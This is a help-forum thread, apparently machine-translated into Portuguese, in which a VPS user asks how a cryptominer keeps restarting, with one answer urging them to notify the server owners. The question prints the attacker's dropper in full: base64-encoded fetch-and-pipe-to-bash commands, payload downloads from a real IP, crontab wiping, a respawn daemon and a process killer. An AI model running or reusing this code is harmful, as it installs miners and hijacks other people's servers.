processo continua iniciando

3

Em um VPS que eu uso, de alguma forma eu tenho um mineiro chato. (Eu não sou root)

15109 ?        Z      0:00 [sh] <defunct>
15134 ?        Ssl    0:03 []
15160 ?        S      0:00 ./5DiaEd75 ./bNlMGMON
15162 ?        S      0:00 ./5DiaEd75 ./bnkI202h
15183 ?        S      0:00 sleep 5
15184 ?        S      0:00 sleep 5

Toda vez que começa com um nome diferente de / var / tmp. Até onde eu vi, ele faz o download de um arquivo de transfer.sh (edição posterior: o script é aquele do transfer.sh, eu achei que era o site) algum dia depois que eu o matei (isso eu vi do stalking ps x )

47067 ?        S      0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ?        S      0:00 bash
47072 ?        S      0:00 bash
47088 ?        S      0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K

Eu verifiquei o crontab, mas não há nada lá e se eu colocar algo lá, ele será deletado depois que o processo começar. Eu também vejo antes que isso comece:

27985 ?        S      0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root

Eu não consigo me livrar dessa coisa. Existe uma maneira que define um trabalho cron-like sem usar o crontab? ou usando a função sendmail? O processo [] usando lsof diz que é executado a partir de /; também em / var / tmp, ele faz o download de 2 executáveis.

O / user / bin / sendmail pode não estar relacionado, como eu notei que começa sempre que eu configuro um comando crontab e ele é executado. Pode ser um setitng o admin feito para trabalhos de crontab.

2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)

Eu vi o script:

        #<!--

    function random() {
    chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
    for i in {1..8} ; do
    echo -n ${chars:RANDOM%${#chars}:1}
    done
    }

    new_bash=$(random)
    new_daemon=$(random)
    new_killbot=$(random)
    new_payload=$(random)
    crontab -r

    writable_path=("/var/tmp" "/tmp" 'pwd')

    for install_path in ${writable_path[@]}
    do
        cd $install_path

        rm -rf touch ponezz

        cp 'command -v touch' ./touch
        ./touch ./ponezz
        if [ ! -f ./ponezz ]; then
            continue
        else
            rm -rf touch ponezz
            break
        fi
    done

    if [ $(command -v wget | wc -l) -eq 1 ]; then
        wget http://204.48.24.72/zeenuts -O ./$new_payload
    elif [ $(command -v curl | wc -l) -eq 1 ]; then
        curl http://204.48.24.72/zeenuts -o ./$new_payload
    elif [ $(command -v python | wc -l) -eq 1 ]; then
        if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*//') -lt "30" ]; then
            python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        else
            python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        fi
    fi
    chmod 777 ./$new_payload
    nohup ./$new_payload
    ./$new_payload

    echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
    echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp 'command -v bash' ./$new_bash

./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &

Pequeno roteiro divertido, mas não consigo descobrir como ele continua começando.

    
por Killroy2018 27.05.2018 / 10:31

1 resposta

4

Como você não é o proprietário ou o administrador da máquina comprometida, você deve informar isso às pessoas que possuem ou administram a máquina. Eles têm uma violação de segurança em andamento e precisam tomar medidas imediatas.

Pode ser um minerador de bitcoins "inofensivo", ou pode ser que o minerador de bitcoin (se é isso que é) seja o único processo que você consegue identificar. Não importa, a máquina está comprometida e deve ser retirada imediatamente da Internet.

Por favor, veja também

  • Como lidar com um servidor comprometido? (na Security SE).
  • Como lidar com um servidor comprometido? (em ServerFault).

Eu relatei para DigitalOcean (ao qual o endereço IP na string codificada em base64 pertence) que isso está acontecendo, com um ponteiro para essa questão U & L.

    
por 27.05.2018 / 15:30